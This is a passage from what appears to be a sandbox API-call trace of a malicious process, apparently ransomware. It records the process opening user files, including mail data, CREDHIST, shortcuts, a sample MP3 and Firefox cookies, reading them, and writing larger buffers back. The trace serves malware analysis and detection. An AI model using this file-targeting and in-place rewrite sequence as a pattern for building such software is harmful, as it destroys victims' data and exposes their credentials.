CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0066.369] ReadFile (in: hFile=0x12c, lpBuffer=0x1eaaa48, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa48*, lpNumberOfBytesRead=0x32cf2bc*=0x43, lpOverlapped=0x0) returned 1 [0066.370] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.370] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0066.371] CloseHandle (hObject=0x12c) returned 1 [0066.371] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.372] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.372] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3fc [0066.372] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.372] ReleaseMutex (hMutex=0x128) returned 1 [0066.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="08_Video_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0066.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="08_Video_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2084, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="08_Video_rated_at_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0066.372] ReadFile (in: hFile=0x12c, lpBuffer=0x276a348, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x32cf2bc*=0x3fc, lpOverlapped=0x0) returned 1 [0066.373] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.373] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x32cf2d0*=0x984, lpOverlapped=0x0) returned 1 [0066.373] CloseHandle (hObject=0x12c) returned 1 [0066.374] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.374] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.374] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2000 [0066.374] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.374] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.375] ReleaseMutex (hMutex=0x128) returned 1 [0066.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edb.chk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0066.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edb.chk", cchWideChar=7, lpMultiByteStr=0x1e6a8c4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edb.chk", lpUsedDefaultChar=0x0) returned 7 [0066.375] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf2bc*=0x2000, lpOverlapped=0x0) returned 1 [0066.376] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.376] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf2d0*=0x2588, lpOverlapped=0x0) returned 1 [0066.377] CloseHandle (hObject=0x12c) returned 1 [0066.377] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.377] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.377] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe9 [0066.377] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.378] ReleaseMutex (hMutex=0x128) returned 1 [0066.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0066.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.htm", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Roses.htm", lpUsedDefaultChar=0x0) returned 9 [0066.378] ReadFile (in: hFile=0x12c, lpBuffer=0x2738458, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2738458*, lpNumberOfBytesRead=0x32cf2bc*=0xe9, lpOverlapped=0x0) returned 1 [0066.379] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.379] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x671, lpOverlapped=0x0) returned 1 [0066.379] CloseHandle (hObject=0x12c) returned 1 [0066.379] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.379] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.379] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x18 [0066.380] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.380] ReleaseMutex (hMutex=0x128) returned 1 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CREDHIST", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CREDHIST", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDHIST", lpUsedDefaultChar=0x0) returned 8 [0066.380] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x32cf2bc*=0x18, lpOverlapped=0x0) returned 1 [0066.381] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.381] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5a0, lpOverlapped=0x0) returned 1 [0066.381] CloseHandle (hObject=0x12c) returned 1 [0066.381] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.382] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.382] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe2 [0066.382] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.382] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.382] ReleaseMutex (hMutex=0x128) returned 1 [0066.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Web Slice Gallery.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Web Slice Gallery.url", cchWideChar=21, lpMultiByteStr=0x1e78c44, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Web Slice Gallery.url", lpUsedDefaultChar=0x0) returned 21 [0066.382] ReadFile (in: hFile=0x12c, lpBuffer=0x2593158, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2593158*, lpNumberOfBytesRead=0x32cf2bc*=0xe2, lpOverlapped=0x0) returned 1 [0066.383] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.383] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x66a, lpOverlapped=0x0) returned 1 [0066.383] CloseHandle (hObject=0x12c) returned 1 [0066.383] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.755] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.755] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x85 [0066.755] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.755] ReleaseMutex (hMutex=0x128) returned 1 [0066.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN.url", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0066.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN.url", cchWideChar=7, lpMultiByteStr=0x1e6a8c4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSN.url", lpUsedDefaultChar=0x0) returned 7 [0066.755] ReadFile (in: hFile=0x12c, lpBuffer=0x257ed30, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x257ed30*, lpNumberOfBytesRead=0x32cf2bc*=0x85, lpOverlapped=0x0) returned 1 [0066.756] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.756] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x60d, lpOverlapped=0x0) returned 1 [0066.756] CloseHandle (hObject=0x12c) returned 1 [0066.756] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.757] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.757] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1f8 [0066.757] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.757] ReleaseMutex (hMutex=0x128) returned 1 [0066.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0066.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0066.758] ReadFile (in: hFile=0x12c, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x32cf2bc*=0x1f8, lpOverlapped=0x0) returned 1 [0066.758] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.758] WriteFile (in: hFile=0x12c, lpBuffer=0x1de6f38*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de6f38*, lpNumberOfBytesWritten=0x32cf2d0*=0x780, lpOverlapped=0x0) returned 1 [0066.758] CloseHandle (hObject=0x12c) returned 1 [0066.759] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.759] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.759] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x485 [0066.759] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.759] ReleaseMutex (hMutex=0x128) returned 1 [0066.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mozilla Firefox.lnk", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0066.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mozilla Firefox.lnk", cchWideChar=19, lpMultiByteStr=0x1e78c44, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mozilla Firefox.lnk", lpUsedDefaultChar=0x0) returned 19 [0066.760] ReadFile (in: hFile=0x12c, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x485, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x32cf2bc*=0x485, lpOverlapped=0x0) returned 1 [0066.760] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.760] WriteFile (in: hFile=0x12c, lpBuffer=0x1de6f38*, nNumberOfBytesToWrite=0xa0d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de6f38*, lpNumberOfBytesWritten=0x32cf2d0*=0xa0d, lpOverlapped=0x0) returned 1 [0066.761] CloseHandle (hObject=0x12c) returned 1 [0066.764] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.764] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.765] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x49e459 [0066.765] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.765] ReleaseMutex (hMutex=0x128) returned 1 [0066.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sleep Away.mp3", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sleep Away.mp3", cchWideChar=14, lpMultiByteStr=0x1e6306c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sleep Away.mp3", lpUsedDefaultChar=0x0) returned 14 [0066.765] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.767] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.768] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0066.769] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x49c459 [0066.769] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0066.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x49c459 [0066.771] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x2588, lpOverlapped=0x0) returned 1 [0066.772] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0066.772] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0066.772] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0066.772] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x2000, lpOverlapped=0x0) returned 1 [0066.772] CloseHandle (hObject=0x12c) returned 1 [0066.772] GetCurrentThreadId () returned 0x32c [0066.772] GetCurrentThreadId () returned 0x32c [0066.772] GetCurrentThreadId () returned 0x32c [0066.772] SetEvent (hEvent=0xc4) returned 1 [0066.772] RtlExitUserThread (Status=0x0) Thread: id = 86 os_tid = 0x91c [0033.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.802] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0033.802] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x80000 [0033.802] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0033.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.802] ReleaseMutex (hMutex=0x128) returned 1 [0033.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 